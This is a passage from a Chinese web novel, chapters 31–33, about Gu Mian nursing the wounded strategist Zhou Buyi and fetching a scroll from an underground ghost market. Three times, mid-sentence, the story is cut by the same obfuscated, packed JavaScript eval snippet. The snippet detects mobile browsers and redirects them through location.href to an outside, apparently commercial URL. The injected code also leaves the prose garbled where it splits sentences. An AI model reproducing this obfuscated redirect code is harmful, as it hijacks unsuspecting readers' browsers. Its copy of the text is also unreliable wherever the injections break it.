顾棉微微抖着上移的手指,轻轻掀开最外层的黑色。 原来不止是鬓边,那内里早生了华发。 周卜易的头发里,藏了好多花白。 已经十多年了啊,周卜易已经二十九的岁数了。 第一次发现周卜易的白发时,周卜易才十六岁呢。 白发会滋生更多白发对吗? 天已完全黑了。 顾棉紧张起来,他在油灯的光晕里,去观察周卜易的脸色。 “看着我……看着我周卜易……”顾棉嘴唇轻颤,“周卜易,看着我!” 是因为惊慌失措所以语无伦次了吗? 周卜易笑了。 小屁孩,怎么这般像一只受了惊的兔子,毛发耸立起来,长长的兔耳朵耷拉着,眼睛红红的。 有那么吓人吗? 顾棉呆呆的盯着那笑容看了一会,然后也笑了。 他笑着眯了眼睛,泪滑落一半。 他是太高兴了,所以喜极而泣。 “奴没事了,爷去睡吧。” 棉姑娘,你有多久没有好好睡一晚了呢。 顾棉轻轻点头,然后起身向外室走。 “劳烦爷,灭了灯再出去,怪晃眼的。” 灯一灭,屋里就伸手不见五指了。 ——这样你便看不见我额上的冷汗了吧? 就让月光代替你眸中火亮,而我未必惧怕这黑夜。 顾棉站在月光照不到的角落,静静地看着床上那一点小小的隆起。 周卜易,你打算骗谁,你还能骗得了谁。 你这个王八蛋,事到如今还把本王当小孩骗。 那点隆起很久没有动了。 周卜易凝视着瓷杯上折射的月光。 几道铁栅栏赫然出现在眼前。 他看见徐川对着那一道铁窗,正仰头望着那一轮未满的月。 徐川老了,他胸前衣襟敞开,那里…… 已经没有皮肤了。 烂肉沾在骨头上,呼吸时,似乎可以看到跳动的心脏。 “大人……”他对着月光,语气里满是疲惫 “对不起……” “归山有愧。” 徐川不知道周卜易就站在他身后,他只是与以往一样自言自语。 “是归山太糊涂了,自己掉进自己布的局里。” “我真的爱上了她”,徐川老泪纵横,“我变得贪生怕死,她何其无辜,我只想……” “我老糊涂了,连她是斩龙一脉的嫡系都顾不上了,我……” “有时候,我就想吧,一统江山真就那么重要吗?”徐川眼神迷茫,“千百年来,我们做了多少牺牲,最终不过是为他人做嫁衣罢了……” “徐归山,你希望一个家四分五裂吗?” 徐川浑身一震,是幻听吧,大人的声音怎么会出现在身后呢? 一定是良心在质问自己,为什么要自私。 徐川捂住脸,不知道是不是在哭,“大人……对不起……大人……” “对不起…归山太爱她了,她说的理念令我动摇了……” “她说,每一个人都应该如拥抱生命般拥抱自然与自由”,徐川闭上眼睛,两道浑浊的泪留在了脸上,“她是那南边海岸上最自由的风,经过我身边时,我没法不与曾经的大人做对比。” “我恐惧大人曾经的日子,恐惧一统后这天下终将似那竹林一样变成一潭不会流动的死水。” 周卜易那时候在想什么呢? ——我在压抑中长大,不过是希望后来人能轻松一点。 “北离、东鼎,十八年来共交战二十七次,东鼎半壁江山深陷战火,颜氏偏安一隅,终致汴京被屠城,死者不可计数,因为户籍被烧毁,他们甚至没能留下姓名。 “朝歌、北离,交战八十九次,是朝歌国君逼得北离不得不入侵东鼎国界。” “东鼎不敢跟朝歌打,也不敢得罪北离,于是东南岛国趁乱上岸,倭人入主中原。” “徐归山,这就是你所谓不一统的代价!你自由逍遥的代价,是百姓在替你背负!”周卜易慢慢往前走,一步一个血脚印,“你是昏了头,还是怂了胆?你究竟是向往自由,还是只想顾自己快活?” 徐归山浑身又是一震,慢慢贴墙跪倒在地。 地上的月光被铁窗分割成一条一条。 他低着头,捂着眼睛,哭得像个孩子,“还是完整的月光好看……” “大人……对不起…… “您一定……要扶持一位明君。” 周卜易终于走到徐川面前,徐川只看到一双血足赫然出现在眼前,他猛然抬头,只见周卜易浑身每一个毛孔都似乎在往外渗血。 小腿上甚至…… “先跟我走,不全怪你……” “大人…归山活不下去了……归山努力苟活了十八年,真的活不下去了……” 他本是贪生之人,他是多么想活,可他在这地方煎熬了太多年,受不了了,于是终于决定去死了。 “如你所愿……”周卜易抬手,手指摸索着徐川的颈侧,寻找那一击毙命的动脉。 “在你死前,回答我一个问题。 “苏寻雁究竟是不是北离国君的女儿?” 顾棉的北离皇室血统,十有八九不纯…… “不是……”徐川眸中闪过一丝惊讶,然后恢复死气沉沉,“但温妃确实是皇室,只不过,她是镇北王的女儿。” 这件事徐川曾发誓要一辈子烂在肚子里。 颜妃娘娘与镇北王私通,诞下了苏寻雁。 周卜易屈指发力,徐川倒在地上,脑袋最后望着铁窗的方向。 徐川缓缓阖眸,来不及落泪。 弥留之际,他想…… ——可惜月未满,家不圆。 周卜易深吸了一口气,压下心绪,去冷静思考。 这件事绝不能让那些老家伙知道,那就是一群疯子,他们很有可能因此直接放弃顾棉,然后用几十年操纵三国公主继续和亲,直到出现下一位真龙血脉…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973210|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于情,他不想看顾棉被抹杀。于理,这天下分裂够久了,他不愿再等。 还有谁知道当年那件事呢…… 周卜易与华山泉汇合,离开诏狱前,他最后看了徐川一眼。 没关系,慢慢来,大不了他灭了整个北离皇族,将秘密永远尘封在死人口中。 北离皇室已经烂透顶了,该着手清理了。 美人眼底乍现的寒光被顾棉尽数收入目中。 美人张口,说着什么。 “顾棉……” 周卜易轻喃,“我来找你了……” “…你敌人太多,我不放心…… ——三国皇室的负隅顽抗……斩龙一脉的设计暗杀……还有……他这一脉随时可能到来的背刺。 顾棉,你,举世皆敌…… 我怎好放心? 顾棉从昏暗中走出,他咬着唇,在哭。 原来竟是如此简单的理由。 周卜易啊周卜易,原来你入诏狱,就是为了问出一个答案。 你怎么能是为了本王入的诏狱呢?你怎么能…… 顾棉好想抱一抱周卜易。 好想抱一抱他先生。 可是他先生身上都是伤,都是为了他受的刑伤。 “你不是最厌恶本王了吗”,顾棉几乎泣不成声,“你的无情呢?你的清醒呢?” “为了本王干这种傻事……你还是那个冰雪聪明的周卜易吗?” “你来寻本王,本王便带你回家”,顾棉的眼睛仿佛泄了洪,“本王以后一定给你一个家。” “属于我们的家……” 先生…… 有你在,本王便不怕那举世皆敌。 “快点好起来好不好”,顾棉一边哭,一边小心翼翼触摸美人的脸,“先生乖,不疼,不疼了,我们好好养病,以后都不会疼了……” 本王再也不叫你受伤了。 顾棉一边说,一边越哭越凶了,“你坐镇帐中,本王去流血。” “周卜易,你就当个谋士动动脑子算了,其他的本王不准你染指。” “什么狗屁护道人,你是本王正儿八经从鸨婆手里买回来的,你唯一的必尽义务,只有给本王暖床侍寝。” 美人睁着眼睛,却陷在梦里,皱起的眉头是那么……那么勾人心弦。 顾棉渐渐止了哭,然后把自己丢进长久的缄默里。 无人知道,他在想什么,他会想什么,他想了什么。 咔嗒—— 窗边忽然传来细微的响动,似是小竹筒磕在窗棂上的声音。 顾棉起身去查看,他一挥袖将竹筒收进手心。 ——是他的线人传来的宫里消息。 黎阳春说,他母妃和父皇是中了同一种慢性毒药而死。 所以…… 顾棉缓缓阖眸,长长吁出一口气。 不是周卜易动的手,是他母妃动的…… 是他母妃以身养毒,就为了拉着他那个多疑的父皇一块下地狱。 宫里的每一道餐食都有人反复试毒,于是他母妃就将自己变成了一味毒。 只要顾君颐与她同房,就会中毒。 为什么每月给她把脉的太医从来报的是身体平安? 顾棉忽然低头自嘲笑笑。 当然因为那个月月给他母妃把脉的姓黎的太医,也是她的同伙啊! 黎阳春!也是那一脉之人! 31.周卜易,误人子弟 离鸡鸣还有很长一段时间,美人忽从梦中惊醒,然后隔了一会又陷进去。 入梦,惊醒,醒来,再进梦中。 循环往复,似乎没有尽头。 顾棉两步走到床边,紧紧握住周卜易的手。 本王要怎么帮你?本王已经尽了所有努力…… 周卜易,你,要靠自己。 顾棉的眼睛死死盯着美人,趁他梦醒的那一点点时间跟他说话。 慢慢的,周卜易清醒的时间越来越长。 要怎么治好一个得了离魂症的人? 顾棉将十根手指与美人相扣,一声一声唤着他的名字。 “周卜易…… “周卜易……” “周……卜易……” 顾棉已经记不清自己究竟唤了多少遍,也许是一千遍一百遍? 然后就在某一声之后,终于得到了回应。 “叫魂呢?”美人笑着看他,“顾小棉。” 周卜易美得不像话的眉眼弯下来,像是盈了一捧秋水。 于是顾棉想,周卜易一定是狐狸变的精怪。 要人老命了…… “棉丫头,直呼你先生的名字,是不是有点大不敬啊?”周卜易半开玩笑着,看见顾棉瞬间涨红的脸颊,笑了笑,调戏似的低喃,“怎么就是不听话呢……” “大半夜的在屋里晃来荡去,爷这是问道寻仙呢?” 顾棉不知道说什么,只是沉默着从小板凳上起来,绕过那凳子,然后和衣躺在了小榻上。 “闭嘴,睡觉。” 这会儿他倒是惜字如金了,也不知道刚刚是谁差点没把嗓子说冒烟。 周卜易忍着笑,到底是没憋住,漏了些声音出来。 顾棉黑亮的眼睛,在昏暗的夜里,幽幽如两团鬼火,一闪一闪盯着不住发笑的美人。 周卜易可能是觉得顾棉这满眼苦大仇深的样子还怪可爱的吧。 他越发笑得开心,笑得甚至咳嗽起来,然后皱眉吐了血。 顾棉唰一下跟诈尸似的坐起身,鞋都顾不上穿,只一瞬就到了周卜易身边。 ——为什么?他为什么会一直吐血? 外伤会导致人吐血吗? 顾棉大拇指贴上美人唇角,把那血抹开。 为什么……他身上是不是有别的病…… 他怎么就这么多病…… 这些病,会不会致命…… 为什么养个小私奴就这么难…… 顾棉低下头,轻声询问,“本王……可以抱你吗……” 按理,那外伤应当都结痂了,小心一点应该不碍事…… “不给抱,回去睡觉”,周卜易直接闭上眼睛,不理人了。 顾棉手已经伸出去了,可终究是不敢唐突,怕伤到周卜易,又悻悻收回手。 露气深了,而他也再没有了困意。 顾棉在床底下找到了刚才被踢开的另一只木屐,踩着嘎吱嘎吱作响的木地板就出去了。 他手里拎着一盏小油灯,走在黑黢黢的长廊里。 偶尔有换班的家丁向他行礼,他视之不见,一路来到华云舒在的偏院。 推开院门,顾棉深深蹙起眉…… …好好的地上怎么全是大坑…… 华云舒在这里干了什么?开荒吗?? 他本以为华云舒早该睡下了,却没想到那卧房竟还亮着灯! 顾棉放轻脚步从坑边走过,贴着窗边去听。 ——那里面有人在谈话! 华云舒听见推门声,转了转眼珠,努努嘴示意坐在旁边的人顾棉来了。 那人不动声色微微点头,继续道,“云舒,你要的卷轴查到下落了,明日可能会出现在鬼市上。” ——明日吗? 顾棉将耳朵贴在墙上,以期听得更清楚。 “长兴啊,你明儿跟管家告个假,就说家里老母病了,要回去探望。 “我们安排的牛车就在城东门外接应,鬼市的位置只有……” 华云舒压低了声音,顾棉没听到名字,“…知道,错过了这趟车,连我也不清楚去哪里找入口。” 傅辰压了压草帽,他没用腹语改变声音就是刻意要做给顾棉看的。 也该让他知道自己的身份了。 傅辰沉声,“明天天一亮我就出发,誓死拿回卷轴!” 华云舒轻叹,“大人这病……唉……” “那地方是最后的希望了……” 傅辰眼露赞许——好话术。 有话如此,还愁殿下不上套吗? 顾棉不知道屋里两人在做什么打算,他本是来叫华云舒仔细给周卜易把把脉的。 现在看来这华云舒早就知道周卜易身体的问题了。 顾棉转身离开——他现在就要出发,抢在傅辰前面上牛车! 不亲自去看看,始终是不放心…… 况且…… 顾棉垂了眸子,听周卜易的意思,他们这些人其实未必可信。 他只能相信自己和先生,其他人一概都要留个心眼。 既然这东西听起来如此重要,那还是自己拿在手里比较好。 见顾棉离开,两人才继续说起之前的事来。 华云舒疑惑道,“长兴,那边为什么还不动手救人?” 傅辰语气中透露着不满,“他们已经放弃了南城王,决定重新培养一位朝歌皇室上谱。” “不可理喻!” 华云舒不用想也知道他们选了谁! “那顾承年绝非池中之物,他脑后有反骨,而且之前对大人……坏了……那一脉难道对大人不满,想借此敲打他……” 华云舒越想越觉得有这种可能性,“你快点跟黎阳春解释,说服他去劝劝那一脉,大人他……” “晚了”,傅辰摇摇头,“我看见那一脉的人和顾承年一前一后从同一座茶楼出来……” “那一脉没跟任何人打招呼……或许,他们已经打算烧谱回炉,重铸九器。” “他们应该已经察觉我们脱离掌控,想要……只怕不光我们上谱九人,甚至包括黎阳春那几位督察在内,也许都被划了红线……” 华云舒深吸一口气,腿有点发软,他抖着声音道,“我……我现在去告诉大人,提醒他……” “云舒”,傅辰抓住华云舒的袖子,“你还不明白吗?大人早就料到了。” “别再去打扰大人了……让他好好休息吧……长兴……” “长兴心疼他”,傅辰咬牙,“那一脉明明有办法救大人出来,却放任大人去跪钉板……” “这件事本就是那一脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989568|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问题!如果不是他们非要清算徐川,大人至于以身入局吗!” 华云舒拍拍傅辰肩膀,权做安抚,“长兴,多说无益。” “既然他们不仁,那我们也没必要跟他们假义。相信大人的安排,相信大人的智谋。我们……” 华云舒看着黎明即起,眼睛里渐渐亮起光,“终将登顶。” “只是大人在殿下一事上到底还是情感胜过理智,这点我们不得不防”,华云舒叹了口气,道,“长兴,辛苦你再去联系黎阳春一趟,计划已变,那一脉的布置不得不动了。” 傅辰颔首,然后沉默了很久,忽然道,“其实……我怀疑那一脉早生了私心。” “他们究竟是想要一统,还是……” ——挟天子以令诸侯。 “他们做的,与幼时他们教我们的,早已背道而驰。” “不重要了”,华云舒背上药箱,“我去给大人换药,再问问大人,接下来怎么办。” “他们不救泽舟,我们自己救! “没有顾泽舟,我们在边南关会多不少麻烦……” 二人一道走出院门,然后分道扬镳。 顾棉走到城东门的时候,刚好天蒙蒙亮。 一个左肩膀上搭了条毛巾老农打扮的人正坐在牛车上用柳枝戳牙。 看见顾棉,他一愣——不是…这谁啊? 可能是路过吧……胡一窦想着,满不在乎继续戳起牙缝里卡着的菜叶来。 “你叫什么名字?”顾棉径直停在了胡一窦面前,“在谱上排第几?” “嘿,你特么谁啊?”胡一窦拉下脸,“知道老子在谱上还这么趾高气扬,一点礼貌都没有,你是哪个误人子弟的家伙教出来的??” 顾棉极冷淡地吐出三个字,“周卜易。” ——完了…… 胡一窦一个趔趄从牛车上摔下来,连滚带爬抱住顾棉大腿,“咳…那个……小胡我就是没睡醒……” “主子…您…您可千万别跟大人说啊!” 要是叫周卜易知道自己骂他误人子弟,他还不得扒了自己一层皮?? “嘿嘿嘿,主子……姓名什么的无关紧要,您想怎么叫怎么叫,就是叫我胡狗蛋儿胡铁柱都行啊。” 顾棉一头黑线,他拂开胡一窦的手,冷着脸道,“本王不喜与人触碰,离本王远点。” “没关系啊主子,您可以不当我是人,当我是个牛马就行”,胡一窦站起身,挠挠头,“我擅长堪舆风水、盗墓偷尸、摸金挖坟,主要作用就是当个开路的马和搬运的牛,人送外号一牛马。” 顾棉闻言脸色更黑——这都什么跟什么?那《名器谱》上怎么尽是些奇葩? 胡一窦神色小心看了顾棉一眼,紧跟着便低下头,左右手两根食指不停对戳。 “那个…刚刚是我没有礼貌,顶撞了主子……主子别告诉大人呗……” 顾棉看了胡一窦一会儿,道,“可以,等会带本王一起去鬼市。” 胡一窦脸色一变,“这个……那个……额……” “怎么?”顾棉眉头一皱,“支支吾吾的什么意思?” “啊……鬼市在…在地下……” 胡一窦心一横,闭上眼道,“其实这鬼市在皇陵下面!您可能要掘自己祖坟!” “……” 32.活阎王回来了! 顾棉一时竟有些无言以对,他一言不发走到牛车后面,然后纵身一跃,躺在车板上的稻草中闭目养神。 顺便等着傅辰过来。 胡一窦见顾棉闭上眼睛,识趣地没有再与他说话,翻身坐到牛背上,嚼着野草欣赏日出。 常年行走在地下的人,会比旁人更容易感知到阳光的温度吧? 胡一窦摸摸下巴上的胡须,那里沾了片秋叶。 他对着秋叶笑了笑,便将它送进风里,招了招手,像是在送别一个久别重逢的老朋友。 鸡鸣响过三声,傅辰的身影才遥遥出现在远方。 “长兴!”胡一窦大嗓门喊完,才想起来顾棉还在睡觉,顿时懊恼地一拍脑门。 傅辰也看见了他,远远地站住脚,满脸震惊。 “胡…胡一窦!怎么是你!” 坏了!他不是应该正在送尚方剑转移吗?!为什么会出现在这里…… 难道消息没有传出去,中间出了差池?! 这下出大事了…… 一定是那一脉从中作梗提前截胡了尚方剑,这把剑若不能送到顾棉手中,后面还怎么…… 胡一窦见傅辰一直不过来,也有些疑惑,他取下别在牛角上的短鞭,打了个呼哨。 顾棉躺着没动,等到傅辰准备上牛车之时,才忽然从草堆上坐起。 傅辰愣了一下,有些不自然道,“王……王爷?” 顾棉觉得有些可笑。 他身边人的身份几乎全都是假的,那究竟什么是真的呢? 好一个门夫,好一个傅辰。 “傅长兴”,顾棉嗓音低沉,“你跟了本王十几年,本王认识你的时间比认识周卜易还久。” “你瞒得好啊”,顾棉眼露疲惫,“你又是谱上第几?” 傅辰低着头不说话,良久后,他取下脖子上挂着的帆布包。 “王爷……小人替您易容……” “生人不入鬼市,鬼市不见真容”,胡一窦感觉气氛不对,在一旁解释,想借此引开话题,“所以要画殓容扮死人,这是不成文的规矩。” “一来可以隐匿信息,保证交易的顺利,二来嘛……” “二来这能进鬼市的都是地下的朋友,人多门杂,相互之间怎么着也会有点世仇摩擦,万一仇人相见分外眼红,打起来还闹大了,不就暴露鬼市位置了嘛……” 顾棉一边心不在焉听着,一边盯着傅辰的手,眼睁睁看着他掏了个纸包出来,那里面装的竟是墙灰! 这东西抹上去,会烂脸的吧??? 顾棉皱眉摇头。 傅辰将墙灰放在草堆上,又掏出一个小陶罐,“这是云舒调的药油,先涂一层就不伤皮肤了……” 顾棉犹豫再三,勉强点了点头。 他身体僵硬——第一次被人化妆,还化的是个死人妆! 这体验……就怪奇妙的。 等傅辰都画好了,顾棉也不知道自己最终变成了个什么鬼样,只从那胡一窦不住颤动的肩膀可以瞧出…… …大约是挺乐子的…… 傅辰一脸严肃,抓着纸包往胡一窦那边走。 胡一窦一边没有形象地颠笑,一边拍着牛背大喊,“哎——你可别动我这张俊脸!” “我戴个面具扮纸人就行。” 顾棉手指一紧——草! 可以这么搞,怎么不早说?非得等他化完了说?! 顾棉再往旁边一看,只见傅辰从帆布包里掏出一个青面獠牙的鬼面具,瞬间脸色更加阴沉起来。 “咳…”傅辰把面具戴到脸上,“时间来不及了,所以小人只好将就一下……” 说完傅辰就上了牛车,与顾棉坐在一处,“老胡,赶紧上路!等到了午时,鬼门可就要关了!” “欸!得嘞!”胡一窦笑呵呵甩了个鞭花,驱动牛车上路。 “殿下躺好咯,咱这是灵车,您今儿个演寿老爷!” 顾棉无奈,只得躺好,刚躺下就听那胡一窦说,“一会上了黄泉路,可就不好开口说话了,交易得用腹语,这也是长兴非来不可的原因。” 顾棉动了动手指,表示自己听见了。 一路上再没有人开口,顾棉躺了一会,渐渐养饱了精气神。 牛车减速,顾棉本以为会往皇陵那边去,谁知胡一窦转了方向,一头钻进了密林。 没过多久,车停了,面前是一棵百年老树,巨大的树干上有一个半人高的树洞。 胡一窦没有解释,他身姿矫健率先钻进了树洞里,消失了。 顾棉迟疑了一下,咬咬牙跟着钻了进去,原来那树底下有个土洞,上面还吊着绳索,顾棉抱住绳索很快溜了下去。 下去后不久,就被人披了件黑色斗篷,从头遮到脚,只能看见顾棉死人一般完全面目全非了的脸。 胡一窦也披了斗篷,手上还拿着一件,不远处的桌案前坐了一个人,地上的麻袋里还有不少一模一样的斗篷。 傅辰从后面走来,胡一窦将斗篷丢了过去。 然后他走到桌前,敲了四下桌面。 顾棉眸光微动——这搞得真挺煞有介事的。 民间有异闻,说是敲门有规矩。人该敲三下,鬼才敲四下…… 他们现在可不就是鬼么? 那桌前坐着的人头也不抬,明明没有开口,却能听到他的声音,因着空旷的空间,一回声就跟鬼在说话似的。 “叫什么?哪年死的?” 傅辰系好了斗篷,胡一窦在旁边比划了几下,他点点头,用腹语回道,“死于前朝,生于今朝,我们赶着投胎,还望行个方便。” “名字,好给你们几个勾生死簿。” “名字不知道,但那位……”傅辰指着顾棉,语气压得有些低沉,“阎王家的接班人。” “阎…阎王!”那人站起来,对着顾棉鞠了一躬,“不用记了,你们拿着空牌位直接进去就是。” 顾棉看见那人眼中有一丝惧色,不由心下疑惑起来。 胡一窦给他们分发了牌位,说的是牌位,其实就是一块挂在腰上的小木牌。 胡一窦蹲下身,在那人的麻袋里找蜡烛。 那人也不拦,就看着胡一窦拿了整整五分之一,塞满帆布包才作罢。 胡一窦冲那人点点头。 那人却忽然叫住他们,“阎王点卯,百鬼燃灯,不知那位可否放小人还阳?” 胡一窦脚步一顿,给傅辰比划了一个数字。 “十五点灯,名册上不会有你。” 傅辰说完,那人竟是满面感激不尽,冲顾棉跪下,叩头道,“阎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13998003|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君仁慈,我名李德,请转告他老人家,朝歌李家日后必当回报。” “三尺微命,往转圆缺。今日落魄,他日乾坤。”傅辰留下这句话,就跟着顾棉他们消失在入口处。 那人很久之后才抬起头,缓缓从地上爬起来。 “周卜易……” 李德喃喃自语,“他没死……他回来了……” 那个活阎王他回来了! 李德失魂落魄坐回椅子上,等午时一到他就迅速钻出树洞,弄了些茅草遮挡洞口,然后匆匆离开。 ——回李家!立刻准备投名状! 周卜易既然没死,只怕这腥风血雨即将掀起。 周卜易的铁血手腕他可是亲眼见识过的,哪怕是朝歌皇室,也挡不住周卜易的疯狂报复! 李家,必须要站队了! 他要回去通知他那个中书令的老爹,赶紧乞骸骨辞官。 如果他爹记恨他当年出走不肯听,那就不管李家了,起码先保全自己再说…… 顾棉走在黄泉路上,只感觉每一个路过他的人,都隔着一张面具在嘲笑他。 他手指越发攥紧,有一种很想掀桌子的冲动。 傅辰面具下不知道是什么神情,倒是那胡一窦肩膀抖动幅度越来越大。 ——这傅长兴到底给他化了个什么妆?有那么夸张吗? 这鬼市没有想象中那般热闹,只有零零散散的几个摊位,还很敷衍。 有人就坐在地上,垫了个麻袋,往上面摞了一堆不知道干什么用的破烂。 没有叫卖吆喝声,摊主们好像都很高冷,无一例外都用草帽遮着眼睛,黑布蒙着脸,不发一语。 顾棉一边走着,一边在心里复盘之前走过的路程,然后他就发现了不对。 这胡一窦……似乎是有意识的引着他往某个地方走。 之前那些摊位,胡一窦虽然装模作样去查看过,但,总感觉胡一窦知道这里没有卷轴…… 而傅辰就更离谱了,他竟然一点没有帮忙的意思,只埋头跟着胡一窦乱逛。 顾棉眉心下陷,眉梢挑起,想到了一种可能。 ——胡一窦知道卷轴在哪,而傅辰知道胡一窦知道卷轴的消息。 巧合吗……还是…… 那卷轴根本就是胡一窦放出去的呢…… 顾棉眸色一瞬间深了许多——从昨天晚上的谈话开始,他们就在故意引导他来这个鬼市,拿到那所谓的卷轴。 从一开始,这卷轴就是冲着他去的。 但这是个阳谋,顾棉无法拒绝。 如果周卜易真的病重到非卷轴和华云舒说的地方不可治,那么他……赌不起。 这个卷轴必须拿到手里,那个地方也必须弄清楚在哪,然后去一趟。 前面,胡一窦忽然停下脚步,左顾右盼起来。 顾棉集中精力,开始寻找,很快就看见了卷轴。 他往那边走去,然后悄悄观察了一下胡一窦的目光。 果然…东看西看就是不往卷轴这边看…… 就像故意让给他一样。 顾棉没有迟疑,拿着卷轴就直接揣到怀里,然后丢了一叠银票过去。 反正是顾承年给的……花起来不心疼。 顾棉心中忽然闪过一个绝妙的想法。 33.先生就喜欢调戏他 顾棉回去的路上一直心不在焉打着小算盘,一时竟忘了要洗一洗脸。 到了东门,顾棉跳下车带着卷轴独自回府,走在街上不断有人侧目,他也恍若未觉。 已是夕阳近黄昏,傅辰看着顾棉远去的背影,开口,“胡牛马,你不是应该在岭南吗?” 胡一窦呸了一声,吐出草根,“东西我已经给墨连城了,他不是要去墓里布大阵吗?我去找他拿图纸的时候,他说他顺道带过去,我就给了呗。怎么?有什么问题吗?” 何止有问题……问题太大了…… “这事要是叫大人知道,你非得……”傅辰叹了口气,颇有些无奈道,“墨连城可能有问题……你能不能别那么大大咧咧,长点心眼儿行不行?” “害,怕啥,反正大人在这,能出什么事。”胡一窦满不在乎道。 傅辰闻言皱了皱眉。 这……这想法不对啊,要是老胡一直这样,后面说不定要在他身上出大岔子。 “胡一窦!” “吼啥吼”,胡一窦不满的捋捋胡须,“回去看你的门吧,我下墓了!” 胡一窦把傅辰撂在一边不理,一扬绳鞭,“叱——”。 就驱着牛车掉头离开了。 傅辰忧心忡忡看着牛车的方向,叹了好几声,又看了王府方向一眼,摇摇头,走进一家客栈。 黎阳春一身便衣,就站在客栈二楼,看见傅辰,直接推门进了包间。 “那边的决定我改变不了”,黎阳春站在窗边,背对着傅辰。 夕阳将他的影子拉得很长。 “如果不是他心太软,我们何至于如此被动”,黎阳春负手而立,“他再心慈手软下去,那么就将由我代他……” “黎督察”,傅辰规规矩矩行了一礼,“您为什么总怀疑大人呢?” “您很清楚,您与大人的差距。” 黎阳春似是晃了晃神,然后他转身,看着傅辰,“长兴,我并非质疑他的能力,而是……” “我看出来,他似乎动了不该动的心思。 “你该明白,如果他为情所困,等着我们的将是满盘皆输。” “我不明白”,傅辰握了握拳,“大人他不是木头!” “不,你明白”,黎阳春轻声,“徐川就是例子。” “所以他必须是一块木头,一块完美的人形木头。” “诏狱的事只是一个警告,如果他再继续任性下去,那一脉……”黎阳春叹息,“你知道的,我并不想……” “但我必须提醒你,那一脉会有更残忍的手段来逼他收心。” “长兴,我改变不了任何事情”,黎阳春语气无比沉重,“你想看他再去滚烧红的钉床吗?曾经就因为他替你说话……” 傅辰紧紧攥住拳头,“当年是我连累大人……这一次,我……” “长兴,你要明白,我们做的一切都是为大人好……比起殿下,我更在乎大人……” “我明白了”,傅辰点点头,“长兴的命是大人给的……必要时候……” “必要时候,你就做掉顾棉,然后带着大人走,那一脉,我们会想办法蒙混过关。” “大人他若不愿呢……” “你们啊,总是看不透”,黎阳春摇摇头,“你管他愿不愿,叫云舒毒晕他,叫允之打昏他,随便什么法子,先保住他的命再说。” 傅辰沉默片刻,坚定点头。 “哦对了,那个戏疯子被放出来了,他说要去边南关等大人,你提前告诉大人一声,让大人有个心理准备。” “梅学林?!那里是战场!他过去干什么?!” 傅辰一想到那个不男不女不人不妖的怪物就头疼。 “也是那边的安排,可能是去牵制大人的,你也知道学林他……” “……” 顾棉进门的时候,华云舒正端着茶杯,喂美人喝水。 听见响声,华云舒回头一看,愣了一下,没忍住大笑起来。 “哈…哈……”他努力去忍,但很快破功,“哈哈哈!哈哈哈哈哈啊哈哈哈!” “那个…哈哈……我还有…哈哈哈我还有事……”华云舒把茶杯搁在一边,飞速逃离现场,整个王府仿佛都能听见他放肆的笑声。 美人靠墙坐着,抬眸淡淡看了顾棉一眼。 “爷这是打算吓死谁?” 顾棉后知后觉摸摸脸,摸了一手面粉似的白粉。 “去洗个毛巾过来”,周卜易伸手拢了拢被褥。 拢完了也不见顾棉动,美人眯起双眸,看了顾棉好一阵,轻哼,“别愣着了,拿过来为师给你擦擦脸,脏死了。” 顾棉心跳慢慢加速,墙灰掩盖下也能看见他熟透了的脸。 周卜易笑了声,不说话,只看着顾棉,看得顾棉连耳朵根也发起烧来,逃也似的跑了。 周卜易动了动身子,轻嘶一声——果然还是有点疼。 不过只是这种程度的话,无伤大雅。 顾棉端着铜盆回来了,他一早就借着水镜瞧清了自己的鬼样,此时脸色很不好看。 夸张的黑眼圈,乌紫发黑的嘴唇,快比脸还大的腮红…… …这踏马画的风流鬼吧?合着他是因为马上风死的? 周卜易接过半湿的毛巾,抬了抬手…… 够不到…… “顾小棉,你衣服里插竹竿了吗? “弯个腰能死怎的?” 顾棉感觉周卜易莫名其妙心情差了很多,他抿抿唇,踢掉靴子,跪坐在床上,低头靠近美人。 周卜易手一紧,把毛巾里的水都捏出来些许。 …不是……他靠这么近做什么? 他脑子轴的吗?这么近怎么擦? 周卜易把手放在顾棉胸口,轻轻推了一下,眼睛里已染上三分怒气,“远点,要不别擦了,反正丢人的是爷自己!” 顾棉耸了一下鼻子,没闻到血腥味,这才将腰身移远了些。 “你…你怎么坐起来了……” “躺倦了”,周卜易一手扶正顾棉的脸,一手用毛巾擦拭,“再躺下去,奴要散架了。” …你乱动才会散架吧…… 顾棉刚要抿唇就听见一声呵斥,“把嘴张开,这涂的什么鬼颜料,本来就难擦!” 顾棉的目光有些复杂,说不好是憋屈还是委屈 